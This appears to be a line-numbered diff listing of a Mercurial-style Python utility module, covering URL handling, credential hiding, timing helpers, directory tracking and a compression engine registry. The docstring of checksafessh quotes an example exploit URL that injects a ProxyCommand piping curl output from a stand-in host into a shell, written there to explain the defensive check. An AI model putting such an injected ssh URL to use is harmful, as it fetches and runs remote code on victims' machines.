2684 for a in ('user', 'passwd', 'host', 'port',
2680 'path', 'fragment'):
2685 'path', 'fragment'):
2681 v = getattr(self, a)
2686 v = getattr(self, a)
2682 if v is not None:
2687 if v is not None:
2683 setattr(self, a, urlreq.unquote(v))
2688 setattr(self, a, urlreq.unquote(v))
2684
2689
2685 @encoding.strmethod
2690 @encoding.strmethod
2686 def __repr__(self):
2691 def __repr__(self):
2687 attrs = []
2692 attrs = []
2688 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
2693 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
2689 'query', 'fragment'):
2694 'query', 'fragment'):
2690 v = getattr(self, a)
2695 v = getattr(self, a)
2691 if v is not None:
2696 if v is not None:
2692 attrs.append('%s: %r' % (a, pycompat.bytestr(v)))
2697 attrs.append('%s: %r' % (a, pycompat.bytestr(v)))
2693 return '<url %s>' % ', '.join(attrs)
2698 return '<url %s>' % ', '.join(attrs)
2694
2699
2695 def __bytes__(self):
2700 def __bytes__(self):
2696 r"""Join the URL's components back into a URL string.
2701 r"""Join the URL's components back into a URL string.
2697
2702
2698 Examples:
2703 Examples:
2699
2704
2700 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
2705 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
2701 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
2706 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
2702 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
2707 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
2703 'http://user:pw@host:80/?foo=bar&baz=42'
2708 'http://user:pw@host:80/?foo=bar&baz=42'
2704 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
2709 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
2705 'http://user:pw@host:80/?foo=bar%3dbaz'
2710 'http://user:pw@host:80/?foo=bar%3dbaz'
2706 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
2711 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
2707 'ssh://user:pw@[::1]:2200//home/joe#'
2712 'ssh://user:pw@[::1]:2200//home/joe#'
2708 >>> bytes(url(b'http://localhost:80//'))
2713 >>> bytes(url(b'http://localhost:80//'))
2709 'http://localhost:80//'
2714 'http://localhost:80//'
2710 >>> bytes(url(b'http://localhost:80/'))
2715 >>> bytes(url(b'http://localhost:80/'))
2711 'http://localhost:80/'
2716 'http://localhost:80/'
2712 >>> bytes(url(b'http://localhost:80'))
2717 >>> bytes(url(b'http://localhost:80'))
2713 'http://localhost:80/'
2718 'http://localhost:80/'
2714 >>> bytes(url(b'bundle:foo'))
2719 >>> bytes(url(b'bundle:foo'))
2715 'bundle:foo'
2720 'bundle:foo'
2716 >>> bytes(url(b'bundle://../foo'))
2721 >>> bytes(url(b'bundle://../foo'))
2717 'bundle:../foo'
2722 'bundle:../foo'
2718 >>> bytes(url(b'path'))
2723 >>> bytes(url(b'path'))
2719 'path'
2724 'path'
2720 >>> bytes(url(b'file:///tmp/foo/bar'))
2725 >>> bytes(url(b'file:///tmp/foo/bar'))
2721 'file:///tmp/foo/bar'
2726 'file:///tmp/foo/bar'
2722 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
2727 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
2723 'file:///c:/tmp/foo/bar'
2728 'file:///c:/tmp/foo/bar'
2724 >>> print(url(br'bundle:foo\bar'))
2729 >>> print(url(br'bundle:foo\bar'))
2725 bundle:foo\bar
2730 bundle:foo\bar
2726 >>> print(url(br'file:///D:\data\hg'))
2731 >>> print(url(br'file:///D:\data\hg'))
2727 file:///D:\data\hg
2732 file:///D:\data\hg
2728 """
2733 """
2729 if self._localpath:
2734 if self._localpath:
2730 s = self.path
2735 s = self.path
2731 if self.scheme == 'bundle':
2736 if self.scheme == 'bundle':
2732 s = 'bundle:' + s
2737 s = 'bundle:' + s
2733 if self.fragment:
2738 if self.fragment:
2734 s += '#' + self.fragment
2739 s += '#' + self.fragment
2735 return s
2740 return s
2736
2741
2737 s = self.scheme + ':'
2742 s = self.scheme + ':'
2738 if self.user or self.passwd or self.host:
2743 if self.user or self.passwd or self.host:
2739 s += '//'
2744 s += '//'
2740 elif self.scheme and (not self.path or self.path.startswith('/')
2745 elif self.scheme and (not self.path or self.path.startswith('/')
2741 or hasdriveletter(self.path)):
2746 or hasdriveletter(self.path)):
2742 s += '//'
2747 s += '//'
2743 if hasdriveletter(self.path):
2748 if hasdriveletter(self.path):
2744 s += '/'
2749 s += '/'
2745 if self.user:
2750 if self.user:
2746 s += urlreq.quote(self.user, safe=self._safechars)
2751 s += urlreq.quote(self.user, safe=self._safechars)
2747 if self.passwd:
2752 if self.passwd:
2748 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
2753 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
2749 if self.user or self.passwd:
2754 if self.user or self.passwd:
2750 s += '@'
2755 s += '@'
2751 if self.host:
2756 if self.host:
2752 if not (self.host.startswith('[') and self.host.endswith(']')):
2757 if not (self.host.startswith('[') and self.host.endswith(']')):
2753 s += urlreq.quote(self.host)
2758 s += urlreq.quote(self.host)
2754 else:
2759 else:
2755 s += self.host
2760 s += self.host
2756 if self.port:
2761 if self.port:
2757 s += ':' + urlreq.quote(self.port)
2762 s += ':' + urlreq.quote(self.port)
2758 if self.host:
2763 if self.host:
2759 s += '/'
2764 s += '/'
2760 if self.path:
2765 if self.path:
2761 # TODO: similar to the query string, we should not unescape the
2766 # TODO: similar to the query string, we should not unescape the
2762 # path when we store it, the path might contain '%2f' = '/',
2767 # path when we store it, the path might contain '%2f' = '/',
2763 # which we should *not* escape.
2768 # which we should *not* escape.
2764 s += urlreq.quote(self.path, safe=self._safepchars)
2769 s += urlreq.quote(self.path, safe=self._safepchars)
2765 if self.query:
2770 if self.query:
2766 # we store the query in escaped form.
2771 # we store the query in escaped form.
2767 s += '?' + self.query
2772 s += '?' + self.query
2768 if self.fragment is not None:
2773 if self.fragment is not None:
2769 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
2774 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
2770 return s
2775 return s
2771
2776
2772 __str__ = encoding.strmethod(__bytes__)
2777 __str__ = encoding.strmethod(__bytes__)
2773
2778
2774 def authinfo(self):
2779 def authinfo(self):
2775 user, passwd = self.user, self.passwd
2780 user, passwd = self.user, self.passwd
2776 try:
2781 try:
2777 self.user, self.passwd = None, None
2782 self.user, self.passwd = None, None
2778 s = bytes(self)
2783 s = bytes(self)
2779 finally:
2784 finally:
2780 self.user, self.passwd = user, passwd
2785 self.user, self.passwd = user, passwd
2781 if not self.user:
2786 if not self.user:
2782 return (s, None)
2787 return (s, None)
2783 # authinfo[1] is passed to urllib2 password manager, and its
2788 # authinfo[1] is passed to urllib2 password manager, and its
2784 # URIs must not contain credentials. The host is passed in the
2789 # URIs must not contain credentials. The host is passed in the
2785 # URIs list because Python < 2.4.3 uses only that to search for
2790 # URIs list because Python < 2.4.3 uses only that to search for
2786 # a password.
2791 # a password.
2787 return (s, (None, (s, self.host),
2792 return (s, (None, (s, self.host),
2788 self.user, self.passwd or ''))
2793 self.user, self.passwd or ''))
2789
2794
2790 def isabs(self):
2795 def isabs(self):
2791 if self.scheme and self.scheme != 'file':
2796 if self.scheme and self.scheme != 'file':
2792 return True # remote URL
2797 return True # remote URL
2793 if hasdriveletter(self.path):
2798 if hasdriveletter(self.path):
2794 return True # absolute for our purposes - can't be joined()
2799 return True # absolute for our purposes - can't be joined()
2795 if self.path.startswith(br'\\'):
2800 if self.path.startswith(br'\\'):
2796 return True # Windows UNC path
2801 return True # Windows UNC path
2797 if self.path.startswith('/'):
2802 if self.path.startswith('/'):
2798 return True # POSIX-style
2803 return True # POSIX-style
2799 return False
2804 return False
2800
2805
2801 def localpath(self):
2806 def localpath(self):
2802 if self.scheme == 'file' or self.scheme == 'bundle':
2807 if self.scheme == 'file' or self.scheme == 'bundle':
2803 path = self.path or '/'
2808 path = self.path or '/'
2804 # For Windows, we need to promote hosts containing drive
2809 # For Windows, we need to promote hosts containing drive
2805 # letters to paths with drive letters.
2810 # letters to paths with drive letters.
2806 if hasdriveletter(self._hostport):
2811 if hasdriveletter(self._hostport):
2807 path = self._hostport + '/' + self.path
2812 path = self._hostport + '/' + self.path
2808 elif (self.host is not None and self.path
2813 elif (self.host is not None and self.path
2809 and not hasdriveletter(path)):
2814 and not hasdriveletter(path)):
2810 path = '/' + path
2815 path = '/' + path
2811 return path
2816 return path
2812 return self._origpath
2817 return self._origpath
2813
2818
2814 def islocal(self):
2819 def islocal(self):
2815 '''whether localpath will return something that posixfile can open'''
2820 '''whether localpath will return something that posixfile can open'''
2816 return (not self.scheme or self.scheme == 'file'
2821 return (not self.scheme or self.scheme == 'file'
2817 or self.scheme == 'bundle')
2822 or self.scheme == 'bundle')
2818
2823
2819 def hasscheme(path):
2824 def hasscheme(path):
2820 return bool(url(path).scheme)
2825 return bool(url(path).scheme)
2821
2826
2822 def hasdriveletter(path):
2827 def hasdriveletter(path):
2823 return path and path[1:2] == ':' and path[0:1].isalpha()
2828 return path and path[1:2] == ':' and path[0:1].isalpha()
2824
2829
2825 def urllocalpath(path):
2830 def urllocalpath(path):
2826 return url(path, parsequery=False, parsefragment=False).localpath()
2831 return url(path, parsequery=False, parsefragment=False).localpath()
2827
2832
2828 def checksafessh(path):
2833 def checksafessh(path):
2829 """check if a path / url is a potentially unsafe ssh exploit (SEC)
2834 """check if a path / url is a potentially unsafe ssh exploit (SEC)
2830
2835
2831 This is a sanity check for ssh urls. ssh will parse the first item as
2836 This is a sanity check for ssh urls. ssh will parse the first item as
2832 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
2837 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
2833 Let's prevent these potentially exploited urls entirely and warn the
2838 Let's prevent these potentially exploited urls entirely and warn the
2834 user.
2839 user.
2835
2840
2836 Raises an error.Abort when the url is unsafe.
2841 Raises an error.Abort when the url is unsafe.
2837 """
2842 """
2838 path = urlreq.unquote(path)
2843 path = urlreq.unquote(path)
2839 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
2844 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
2840 raise error.Abort(_('potentially unsafe url: %r') %
2845 raise error.Abort(_('potentially unsafe url: %r') %
2841 (pycompat.bytestr(path),))
2846 (pycompat.bytestr(path),))
2842
2847
2843 def hidepassword(u):
2848 def hidepassword(u):
2844 '''hide user credential in a url string'''
2849 '''hide user credential in a url string'''
2845 u = url(u)
2850 u = url(u)
2846 if u.passwd:
2851 if u.passwd:
2847 u.passwd = '***'
2852 u.passwd = '***'
2848 return bytes(u)
2853 return bytes(u)
2849
2854
2850 def removeauth(u):
2855 def removeauth(u):
2851 '''remove all authentication information from a url string'''
2856 '''remove all authentication information from a url string'''
2852 u = url(u)
2857 u = url(u)
2853 u.user = u.passwd = None
2858 u.user = u.passwd = None
2854 return bytes(u)
2859 return bytes(u)
2855
2860
2856 timecount = unitcountfn(
2861 timecount = unitcountfn(
2857 (1, 1e3, _('%.0f s')),
2862 (1, 1e3, _('%.0f s')),
2858 (100, 1, _('%.1f s')),
2863 (100, 1, _('%.1f s')),
2859 (10, 1, _('%.2f s')),
2864 (10, 1, _('%.2f s')),
2860 (1, 1, _('%.3f s')),
2865 (1, 1, _('%.3f s')),
2861 (100, 0.001, _('%.1f ms')),
2866 (100, 0.001, _('%.1f ms')),
2862 (10, 0.001, _('%.2f ms')),
2867 (10, 0.001, _('%.2f ms')),
2863 (1, 0.001, _('%.3f ms')),
2868 (1, 0.001, _('%.3f ms')),
2864 (100, 0.000001, _('%.1f us')),
2869 (100, 0.000001, _('%.1f us')),
2865 (10, 0.000001, _('%.2f us')),
2870 (10, 0.000001, _('%.2f us')),
2866 (1, 0.000001, _('%.3f us')),
2871 (1, 0.000001, _('%.3f us')),
2867 (100, 0.000000001, _('%.1f ns')),
2872 (100, 0.000000001, _('%.1f ns')),
2868 (10, 0.000000001, _('%.2f ns')),
2873 (10, 0.000000001, _('%.2f ns')),
2869 (1, 0.000000001, _('%.3f ns')),
2874 (1, 0.000000001, _('%.3f ns')),
2870 )
2875 )
2871
2876
2872 _timenesting = [0]
2877 _timenesting = [0]
2873
2878
2874 def timed(func):
2879 def timed(func):
2875 '''Report the execution time of a function call to stderr.
2880 '''Report the execution time of a function call to stderr.
2876
2881
2877 During development, use as a decorator when you need to measure
2882 During development, use as a decorator when you need to measure
2878 the cost of a function, e.g. as follows:
2883 the cost of a function, e.g. as follows:
2879
2884
2880 @util.timed
2885 @util.timed
2881 def foo(a, b, c):
2886 def foo(a, b, c):
2882 pass
2887 pass
2883 '''
2888 '''
2884
2889
2885 def wrapper(*args, **kwargs):
2890 def wrapper(*args, **kwargs):
2886 start = timer()
2891 start = timer()
2887 indent = 2
2892 indent = 2
2888 _timenesting[0] += indent
2893 _timenesting[0] += indent
2889 try:
2894 try:
2890 return func(*args, **kwargs)
2895 return func(*args, **kwargs)
2891 finally:
2896 finally:
2892 elapsed = timer() - start
2897 elapsed = timer() - start
2893 _timenesting[0] -= indent
2898 _timenesting[0] -= indent
2894 stderr = procutil.stderr
2899 stderr = procutil.stderr
2895 stderr.write('%s%s: %s\n' %
2900 stderr.write('%s%s: %s\n' %
2896 (' ' * _timenesting[0], func.__name__,
2901 (' ' * _timenesting[0], func.__name__,
2897 timecount(elapsed)))
2902 timecount(elapsed)))
2898 return wrapper
2903 return wrapper
2899
2904
2900 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
2905 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
2901 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
2906 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
2902
2907
2903 def sizetoint(s):
2908 def sizetoint(s):
2904 '''Convert a space specifier to a byte count.
2909 '''Convert a space specifier to a byte count.
2905
2910
2906 >>> sizetoint(b'30')
2911 >>> sizetoint(b'30')
2907 30
2912 30
2908 >>> sizetoint(b'2.2kb')
2913 >>> sizetoint(b'2.2kb')
2909 2252
2914 2252
2910 >>> sizetoint(b'6M')
2915 >>> sizetoint(b'6M')
2911 6291456
2916 6291456
2912 '''
2917 '''
2913 t = s.strip().lower()
2918 t = s.strip().lower()
2914 try:
2919 try:
2915 for k, u in _sizeunits:
2920 for k, u in _sizeunits:
2916 if t.endswith(k):
2921 if t.endswith(k):
2917 return int(float(t[:-len(k)]) * u)
2922 return int(float(t[:-len(k)]) * u)
2918 return int(t)
2923 return int(t)
2919 except ValueError:
2924 except ValueError:
2920 raise error.ParseError(_("couldn't parse size: %s") % s)
2925 raise error.ParseError(_("couldn't parse size: %s") % s)
2921
2926
2922 class hooks(object):
2927 class hooks(object):
2923 '''A collection of hook functions that can be used to extend a
2928 '''A collection of hook functions that can be used to extend a
2924 function's behavior. Hooks are called in lexicographic order,
2929 function's behavior. Hooks are called in lexicographic order,
2925 based on the names of their sources.'''
2930 based on the names of their sources.'''
2926
2931
2927 def __init__(self):
2932 def __init__(self):
2928 self._hooks = []
2933 self._hooks = []
2929
2934
2930 def add(self, source, hook):
2935 def add(self, source, hook):
2931 self._hooks.append((source, hook))
2936 self._hooks.append((source, hook))
2932
2937
2933 def __call__(self, *args):
2938 def __call__(self, *args):
2934 self._hooks.sort(key=lambda x: x[0])
2939 self._hooks.sort(key=lambda x: x[0])
2935 results = []
2940 results = []
2936 for source, hook in self._hooks:
2941 for source, hook in self._hooks:
2937 results.append(hook(*args))
2942 results.append(hook(*args))
2938 return results
2943 return results
2939
2944
2940 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%d', depth=0):
2945 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%d', depth=0):
2941 '''Yields lines for a nicely formatted stacktrace.
2946 '''Yields lines for a nicely formatted stacktrace.
2942 Skips the 'skip' last entries, then return the last 'depth' entries.
2947 Skips the 'skip' last entries, then return the last 'depth' entries.
2943 Each file+linenumber is formatted according to fileline.
2948 Each file+linenumber is formatted according to fileline.
2944 Each line is formatted according to line.
2949 Each line is formatted according to line.
2945 If line is None, it yields:
2950 If line is None, it yields:
2946 length of longest filepath+line number,
2951 length of longest filepath+line number,
2947 filepath+linenumber,
2952 filepath+linenumber,
2948 function
2953 function
2949
2954
2950 Not be used in production code but very convenient while developing.
2955 Not be used in production code but very convenient while developing.
2951 '''
2956 '''
2952 entries = [(fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
2957 entries = [(fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
2953 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
2958 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
2954 ][-depth:]
2959 ][-depth:]
2955 if entries:
2960 if entries:
2956 fnmax = max(len(entry[0]) for entry in entries)
2961 fnmax = max(len(entry[0]) for entry in entries)
2957 for fnln, func in entries:
2962 for fnln, func in entries:
2958 if line is None:
2963 if line is None:
2959 yield (fnmax, fnln, func)
2964 yield (fnmax, fnln, func)
2960 else:
2965 else:
2961 yield line % (fnmax, fnln, func)
2966 yield line % (fnmax, fnln, func)
2962
2967
2963 def debugstacktrace(msg='stacktrace', skip=0,
2968 def debugstacktrace(msg='stacktrace', skip=0,
2964 f=procutil.stderr, otherf=procutil.stdout, depth=0):
2969 f=procutil.stderr, otherf=procutil.stdout, depth=0):
2965 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
2970 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
2966 Skips the 'skip' entries closest to the call, then show 'depth' entries.
2971 Skips the 'skip' entries closest to the call, then show 'depth' entries.
2967 By default it will flush stdout first.
2972 By default it will flush stdout first.
2968 It can be used everywhere and intentionally does not require an ui object.
2973 It can be used everywhere and intentionally does not require an ui object.
2969 Not be used in production code but very convenient while developing.
2974 Not be used in production code but very convenient while developing.
2970 '''
2975 '''
2971 if otherf:
2976 if otherf:
2972 otherf.flush()
2977 otherf.flush()
2973 f.write('%s at:\n' % msg.rstrip())
2978 f.write('%s at:\n' % msg.rstrip())
2974 for line in getstackframes(skip + 1, depth=depth):
2979 for line in getstackframes(skip + 1, depth=depth):
2975 f.write(line)
2980 f.write(line)
2976 f.flush()
2981 f.flush()
2977
2982
2978 class dirs(object):
2983 class dirs(object):
2979 '''a multiset of directory names from a dirstate or manifest'''
2984 '''a multiset of directory names from a dirstate or manifest'''
2980
2985
2981 def __init__(self, map, skip=None):
2986 def __init__(self, map, skip=None):
2982 self._dirs = {}
2987 self._dirs = {}
2983 addpath = self.addpath
2988 addpath = self.addpath
2984 if safehasattr(map, 'iteritems') and skip is not None:
2989 if safehasattr(map, 'iteritems') and skip is not None:
2985 for f, s in map.iteritems():
2990 for f, s in map.iteritems():
2986 if s[0] != skip:
2991 if s[0] != skip:
2987 addpath(f)
2992 addpath(f)
2988 else:
2993 else:
2989 for f in map:
2994 for f in map:
2990 addpath(f)
2995 addpath(f)
2991
2996
2992 def addpath(self, path):
2997 def addpath(self, path):
2993 dirs = self._dirs
2998 dirs = self._dirs
2994 for base in finddirs(path):
2999 for base in finddirs(path):
2995 if base in dirs:
3000 if base in dirs:
2996 dirs[base] += 1
3001 dirs[base] += 1
2997 return
3002 return
2998 dirs[base] = 1
3003 dirs[base] = 1
2999
3004
3000 def delpath(self, path):
3005 def delpath(self, path):
3001 dirs = self._dirs
3006 dirs = self._dirs
3002 for base in finddirs(path):
3007 for base in finddirs(path):
3003 if dirs[base] > 1:
3008 if dirs[base] > 1:
3004 dirs[base] -= 1
3009 dirs[base] -= 1
3005 return
3010 return
3006 del dirs[base]
3011 del dirs[base]
3007
3012
3008 def __iter__(self):
3013 def __iter__(self):
3009 return iter(self._dirs)
3014 return iter(self._dirs)
3010
3015
3011 def __contains__(self, d):
3016 def __contains__(self, d):
3012 return d in self._dirs
3017 return d in self._dirs
3013
3018
3014 if safehasattr(parsers, 'dirs'):
3019 if safehasattr(parsers, 'dirs'):
3015 dirs = parsers.dirs
3020 dirs = parsers.dirs
3016
3021
3017 def finddirs(path):
3022 def finddirs(path):
3018 pos = path.rfind('/')
3023 pos = path.rfind('/')
3019 while pos != -1:
3024 while pos != -1:
3020 yield path[:pos]
3025 yield path[:pos]
3021 pos = path.rfind('/', 0, pos)
3026 pos = path.rfind('/', 0, pos)
3022
3027
3023 # compression code
3028 # compression code
3024
3029
3025 SERVERROLE = 'server'
3030 SERVERROLE = 'server'
3026 CLIENTROLE = 'client'
3031 CLIENTROLE = 'client'
3027
3032
3028 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
3033 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
3029 (u'name', u'serverpriority',
3034 (u'name', u'serverpriority',
3030 u'clientpriority'))
3035 u'clientpriority'))
3031
3036
3032 class compressormanager(object):
3037 class compressormanager(object):
3033 """Holds registrations of various compression engines.
3038 """Holds registrations of various compression engines.
3034
3039
3035 This class essentially abstracts the differences between compression
3040 This class essentially abstracts the differences between compression
3036 engines to allow new compression formats to be added easily, possibly from
3041 engines to allow new compression formats to be added easily, possibly from
3037 extensions.
3042 extensions.
3038
3043
3039 Compressors are registered against the global instance by calling its
3044 Compressors are registered against the global instance by calling its
3040 ``register()`` method.
3045 ``register()`` method.
3041 """
3046 """
3042 def __init__(self):
3047 def __init__(self):
3043 self._engines = {}
3048 self._engines = {}
3044 # Bundle spec human name to engine name.
3049 # Bundle spec human name to engine name.
3045 self._bundlenames = {}
3050 self._bundlenames = {}
3046 # Internal bundle identifier to engine name.
3051 # Internal bundle identifier to engine name.
3047 self._bundletypes = {}
3052 self._bundletypes = {}
3048 # Revlog header to engine name.
3053 # Revlog header to engine name.
3049 self._revlogheaders = {}
3054 self._revlogheaders = {}
3050 # Wire proto identifier to engine name.
3055 # Wire proto identifier to engine name.
3051 self._wiretypes = {}
3056 self._wiretypes = {}
3052
3057
3053 def __getitem__(self, key):
3058 def __getitem__(self, key):
3054 return self._engines[key]
3059 return self._engines[key]
3055
3060
3056 def __contains__(self, key):
3061 def __contains__(self, key):
3057 return key in self._engines
3062 return key in self._engines
3058
3063
3059 def __iter__(self):
3064 def __iter__(self):
3060 return iter(self._engines.keys())
3065 return iter(self._engines.keys())
3061
3066
3062 def register(self, engine):
3067 def register(self, engine):
3063 """Register a compression engine with the manager.
3068 """Register a compression engine with the manager.
3064
3069
3065 The argument must be a ``compressionengine`` instance.
3070 The argument must be a ``compressionengine`` instance.
3066 """
3071 """
3067 if not isinstance(engine, compressionengine):
3072 if not isinstance(engine, compressionengine):
3068 raise ValueError(_('argument must be a compressionengine'))
3073 raise ValueError(_('argument must be a compressionengine'))
3069
3074
3070 name = engine.name()
3075 name = engine.name()
3071
3076
3072 if name in self._engines:
3077 if name in self._engines:
3073 raise error.Abort(_('compression engine %s already registered') %
3078 raise error.Abort(_('compression engine %s already registered') %
3074 name)
3079 name)
3075
3080
3076 bundleinfo = engine.bundletype()
3081 bundleinfo = engine.bundletype()
3077 if bundleinfo:
3082 if bundleinfo:
3078 bundlename, bundletype = bundleinfo
3083 bundlename, bundletype = bundleinfo
3079
3084
3080 if bundlename in self._bundlenames:
3085 if bundlename in self._bundlenames:
3081 raise error.Abort(_('bundle name %s already registered') %
3086 raise error.Abort(_('bundle name %s already registered') %
3082 bundlename)
3087 bundlename)
3083 if bundletype in self._bundletypes:
3088 if bundletype in self._bundletypes:
3084 raise error.Abort(_('bundle type %s already registered by %s') %
3089 raise error.Abort(_('bundle type %s already registered by %s') %
3085 (bundletype, self._bundletypes[bundletype]))
3090 (bundletype, self._bundletypes[bundletype]))
3086
3091
3087 # No external facing name declared.
3092 # No external facing name declared.
3088 if bundlename:
3093 if bundlename:
3089 self._bundlenames[bundlename] = name
3094 self._bundlenames[bundlename] = name
3090
3095
3091 self._bundletypes[bundletype] = name
3096 self._bundletypes[bundletype] = name
3092
3097
3093 wiresupport = engine.wireprotosupport()
3098 wiresupport = engine.wireprotosupport()
3094 if wiresupport:
3099 if wiresupport:
3095 wiretype = wiresupport.name
3100 wiretype = wiresupport.name
3096 if wiretype in self._wiretypes:
3101 if wiretype in self._wiretypes:
3097 raise error.Abort(_('wire protocol compression %s already '
3102 raise error.Abort(_('wire protocol compression %s already '
3098 'registered by %s') %
3103 'registered by %s') %
3099 (wiretype, self._wiretypes[wiretype]))
3104 (wiretype, self._wiretypes[wiretype]))
3100
3105
3101 self._wiretypes[wiretype] = name
3106 self._wiretypes[wiretype] = name
3102
3107
3103 revlogheader = engine.revlogheader()
3108 revlogheader = engine.revlogheader()
3104 if revlogheader and revlogheader in self._revlogheaders:
3109 if revlogheader and revlogheader in self._revlogheaders:
3105 raise error.Abort(_('revlog header %s already registered by %s') %
3110 raise error.Abort(_('revlog header %s already registered by %s') %
3106 (revlogheader, self._revlogheaders[revlogheader]))
3111 (revlogheader, self._revlogheaders[revlogheader]))
3107
3112
3108 if revlogheader:
3113 if revlogheader:
3109 self._revlogheaders[revlogheader] = name
3114 self._revlogheaders[revlogheader] = name
3110
3115
3111 self._engines[name] = engine
3116 self._engines[name] = engine
3112
3117
3113 @property
3118 @property
3114 def supportedbundlenames(self):
3119 def supportedbundlenames(self):
3115 return set(self._bundlenames.keys())
3120 return set(self._bundlenames.keys())
3116
3121
3117 @property
3122 @property
3118 def supportedbundletypes(self):
3123 def supportedbundletypes(self):
3119 return set(self._bundletypes.keys())
3124 return set(self._bundletypes.keys())
3120
3125
3121 def forbundlename(self, bundlename):
3126 def forbundlename(self, bundlename):
3122 """Obtain a compression engine registered to a bundle name.
3127 """Obtain a compression engine registered to a bundle name.
3123
3128
3124 Will raise KeyError if the bundle type isn't registered.
3129 Will raise KeyError if the bundle type isn't registered.
3125
3130
3126 Will abort if the engine is known but not available.
3131 Will abort if the engine is known but not available.
3127 """
3132 """
3128 engine = self._engines[self._bundlenames[bundlename]]
3133 engine = self._engines[self._bundlenames[bundlename]]
3129 if not engine.available():
3134 if not engine.available():
3130 raise error.Abort(_('compression engine %s could not be loaded') %
3135 raise error.Abort(_('compression engine %s could not be loaded') %
3131 engine.name())
3136 engine.name())
3132 return engine
3137 return engine
3133
3138
3134 def forbundletype(self, bundletype):
3139 def forbundletype(self, bundletype):
3135 """Obtain a compression engine registered to a bundle type.
3140 """Obtain a compression engine registered to a bundle type.
3136
3141
3137 Will raise KeyError if the bundle type isn't registered.
3142 Will raise KeyError if the bundle type isn't registered.
3138
3143
3139 Will abort if the engine is known but not available.
3144 Will abort if the engine is known but not available.
3140 """
3145 """
3141 engine = self._engines[self._bundletypes[bundletype]]
3146 engine = self._engines[self._bundletypes[bundletype]]
3142 if not engine.available():
3147 if not engine.available():
3143 raise error.Abort(_('compression engine %s could not be loaded') %
3148 raise error.Abort(_('compression engine %s could not be loaded') %
3144 engine.name())
3149 engine.name())
3145 return engine
3150 return engine
3146
3151
3147 def supportedwireengines(self, role, onlyavailable=True):
3152 def supportedwireengines(self, role, onlyavailable=True):
3148 """Obtain compression engines that support the wire protocol.
3153 """Obtain compression engines that support the wire protocol.
3149
3154
3150 Returns a list of engines in prioritized order, most desired first.
3155 Returns a list of engines in prioritized order, most desired first.
3151
3156
3152 If ``onlyavailable`` is set, filter out engines that can't be
3157 If ``onlyavailable`` is set, filter out engines that can't be
3153 loaded.
3158 loaded.
3154 """
3159 """
3155 assert role in (SERVERROLE, CLIENTROLE)
3160 assert role in (SERVERROLE, CLIENTROLE)
3156
3161
3157 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
3162 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
3158
3163
3159 engines = [self._engines[e] for e in self._wiretypes.values()]
3164 engines = [self._engines[e] for e in self._wiretypes.values()]
3160 if onlyavailable:
3165 if onlyavailable:
3161 engines = [e for e in engines if e.available()]
3166 engines = [e for e in engines if e.available()]
3162
3167
3163 def getkey(e):
3168 def getkey(e):
3164 # Sort first by priority, highest first. In case of tie, sort
3169 # Sort first by priority, highest first. In case of tie, sort
3165 # alphabetically. This is arbitrary, but ensures output is
3170 # alphabetically. This is arbitrary, but ensures output is
3166 # stable.
3171 # stable.
3167 w = e.wireprotosupport()
3172 w = e.wireprotosupport()
3168 return -1 * getattr(w, attr), w.name
3173 return -1 * getattr(w, attr), w.name
3169
3174
3170 return list(sorted(engines, key=getkey))
3175 return list(sorted(engines, key=getkey))
3171
3176
3172 def forwiretype(self, wiretype):
3177 def forwiretype(self, wiretype):
3173 engine = self._engines[self._wiretypes[wiretype]]
3178 engine = self._engines[self._wiretypes[wiretype]]
3174 if not engine.available():
3179 if not engine.available():
3175 raise error.Abort(_('compression engine %s could not be loaded') %
3180 raise error.Abort(_('compression engine %s could not be loaded') %
3176 engine.name())
3181 engine.name())
3177 return engine
3182 return engine
3178
3183
3179 def forrevlogheader(self, header):
3184 def forrevlogheader(self, header):
3180 """Obtain a compression engine registered to a revlog header.
3185 """Obtain a compression engine registered to a revlog header.
3181
3186
3182 Will raise KeyError if the revlog header value isn't registered.
3187 Will raise KeyError if the revlog header value isn't registered.
3183 """
3188 """
3184 return self._engines[self._revlogheaders[header]]
3189 return self._engines[self._revlogheaders[header]]
3185
3190
3186 compengines = compressormanager()
3191 compengines = compressormanager()
3187
3192
3188 class compressionengine(object):
3193 class compressionengine(object):
3189 """Base class for compression engines.
3194 """Base class for compression engines.
3190
3195
3191 Compression engines must implement the interface defined by this class.
3196 Compression engines must implement the interface defined by this class.
3192 """
3197 """
3193 def name(self):
